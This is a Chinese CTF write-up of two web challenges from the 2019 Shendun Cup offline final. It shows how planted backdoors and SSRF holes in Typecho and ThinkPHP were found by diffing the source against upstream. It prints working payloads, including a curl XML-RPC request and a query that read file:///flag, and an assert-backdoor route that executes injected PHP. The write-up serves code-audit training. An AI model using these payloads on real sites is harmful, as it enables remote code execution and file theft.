2019 神盾杯 final Writeup(二)

2023-10-20 10:50
文章标签 2019 final writeup 神盾

本文主要是介绍2019 神盾杯 final Writeup(二),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

接之前的分析文章,本篇文章将2019 神盾杯线下赛后续两道web题也解析一下。

web3

预置后门扫描

打开源码发现是主流cms typecho,先上工具扫一波:

2019 神盾杯 final Writeup(二)

2019 神盾杯 final Writeup(二)

2019 神盾杯 final Writeup(二)

同时注意到版本号:

2019 神盾杯 final Writeup(二)

根据github的开源项目回滚到当前版本:

2019 神盾杯 final Writeup(二)

并进行diff:

2019 神盾杯 final Writeup(二)

用户名RCE

2019 神盾杯 final Writeup(二)

容易发现/admin/login.php处,$rememberName被反引号包裹,可以进行RCE。PHP大马

SSRF漏洞

/var/Widget/XmlRpc.php:

2019 神盾杯 final Writeup(二)

该漏洞应该为typecho对应版本的原生漏洞,可以搜到相关信息:

2019 神盾杯 final Writeup(二)

那么关键点就在于过滤时,未把file协议过滤掉:

/var/Typecho/Http/Client/Adapter.php:

2019 神盾杯 final Writeup(二)

导致我们可以利用其进行SSRF任意文件读取:

curl "https://skysec.top/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>file:///flag</string></value></param><param><value><string>joychou</string></value></param></params></methodCall>'

web4

预置后门扫描

打开源码发现是主流框架 thinkphp,先上工具扫一波:

2019 神盾杯 final Writeup(二)

2019 神盾杯 final Writeup(二)

2019 神盾杯 final Writeup(二)

比较遗憾,这里后门因为隐藏非常隐蔽,所以主流静态分析工具并没有很好的识别出webshell。下面还是得靠我们自己diff。

该项目是开源项目:奇热影视

https://gitee.com/liaow/JuBiWang/tree/master

thinkphp缓存机制

2019 神盾杯 final Writeup(二)

关于thinkphp的缓存机制,是一个老生常谈的问题,在今年强网杯final中也有相应的问题:

https://skysec.top/2019/06/16/2019-%E5%BC%BA%E7%BD%91%E6%9D%AFfinal-Web-Writeup/

这里就不再赘述了。

全局过滤器后门

通过diff发现在文件/ThinkPHP/Common/functions.php:

2019 神盾杯 final Writeup(二)

其中出题人自己编写了一个全局函数:

function MY_I($name,$default='',$filter=null,$datas=null)

我们和框架自带的I函数做个比较:

2019 神盾杯 final Writeup(二)

发现出题人使用了自己的:

MY_DEFAULT_FILTER

我们跟进一下:

2019 神盾杯 final Writeup(二)

发现内置内门assert,那么我们寻找调用MY_I函数的位置:

/Application/Home/Controller/ChartController.class.php:

2019 神盾杯 final Writeup(二)

发现方法getMarketOrdinaryJson()使用了该函数,那么可以构造如下路由进行RCE:

https://skysec.top/?s=/home/chart/getMarketOrdinaryJson&sky=phpinfo();

ssrf

通过diff,发现在文件/Application/Admin/Controller/AdminController.class.php中多了如下方法:

2019 神盾杯 final Writeup(二)

简单看一下发现是curl,那么可以直接进行ssrf文件读取:

https://skysec.top/?s=/admin/admin/callOnce&url=file:///flag

文件读取

通过diff,发现在文件/Application/Home/Controller/IndexController.class.php中有如下flag方法:

2019 神盾杯 final Writeup(二)

我们发现只要我们输入的len和flag长度不一致,就会触发debug函数,我们跟进debug函数:

2019 神盾杯 final Writeup(二)

继续跟进log函数:

2019 神盾杯 final Writeup(二)

再跟进fb函数:

2019 神盾杯 final Writeup(二)

2019 神盾杯 final Writeup(二)

发现最后会进行setHeader,我们的debug信息会在http header中打印出来,那么即可通过这个方式获取flag。

https://skysec.top/?s=/home/index/flag&len=1

后记

2019 神盾杯线下赛的4道web分析到此结束,总的来说diff还是比较强力的,最后的web4也不错,洞藏的都比较好一些,是和框架相互结合的,而不是生硬嵌入的,希望借此可以提高代码审计能力。

这篇关于2019 神盾杯 final Writeup(二)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/246596

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

2019学习计划

工作三年了,第一年感觉是荒废的,第二年开始学习python,第三年开始自动化 感觉自己会的东西比较少,而且不够深入,流于表面 现制定一下今年大概的学习计划 需持续巩固加强:python、ui自动化、接口自动化、sql等 代码量需提升,敲的不够(重点) 学习: 1.移动端测试,appium等 2.前端知识系统整理学习  3.性能测试 4.docker入门,环境搭建 5.shell

最简单的使用JDBC[连接数据库] mysql 2019年3月18日

最极简版本的, 我们这里以mysql为例: 首先要创建maven工程, 需要引入jar包:,这里需要注意, 如果你安装的是mysql最新版本8以上的, 下面有些地方需要更改,具体就是mysql连接的url, 和5版本的不一样,具体解决请自行百度哈.这里只演示mysql5版本的? 依赖: <dependency>   <groupId>mysql</groupId>   <artifactId

【HDU】3986 Harry Potter and the Final Battle 最短路

传送门:【HDU】3986 Harry Potter and the Final Battle 题目分析:先求一次最短路,同时记录在最短路上的顶点以及以该顶点为弧尾的最短路上的边。然后枚举删除每一条边,分别求一次最短路,其中最大的即答案。当然不可达输出-1。 测试发现堆优化的dij不如slf优化的spfa。。可能图太稀疏了吧。。。反正我觉得我写的挺搓的了。。。 代码如下:

(php伪随机数生成)[GWCTF 2019]枯燥的抽奖

审核源码发现加载check.php,审计发现使用了mt_rand()函数,这个函数生成的值是伪随机的 参考下面这篇文章 PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户 kali里面输入下载工具 git clone https://github.com/openwall/php_mt_seed.git cd进去输入make后编译出的文件先

2019年2月17日

今天又重新看了一下输出第1500个丑数 在我错了八次之后发现要输出一个句号还要输出换行 接下来的两天应该进入复习阶段了。

National Contest for Private Universities (NCPU), 2019 E. Generalized Pascal's Triangle

编辑代码 2000ms 262144K Generalized Pascal's Triangle Pascal's triangle is a triangular array in which each number can be calculated by the sum of the two numbers directly above that number as shown i

JBoss AS 7.1.1.Final 安装

JBoss AS 7.1.1.Final下载地址:http://download.jboss.org/jbossas/7.1/jboss-as-7.1.1.Final/jboss-as-7.1.1.Final.zip localhost:9990/console 用户root 密码 1234 安装参考:http://my.oschina.net/thinker4self/blog/273527

Hinton等人最新研究:大幅提升模型准确率,标签平滑技术 2019-7-8

导读:损失函数对神经网络的训练有显著影响,也有很多学者人一直在探讨并寻找可以和损失函数一样使模型效果更好的函数。后来,Szegedy 等学者提出了标签平滑方法,该方法通过计算数据集中 hard target 的加权平均以及平均分布来计算交叉熵,有效提升了模型的准确率。近日,Hinton 团队等人在新研究论文《When Does Label Smoothing Help?》中,就尝试对标签平滑技术对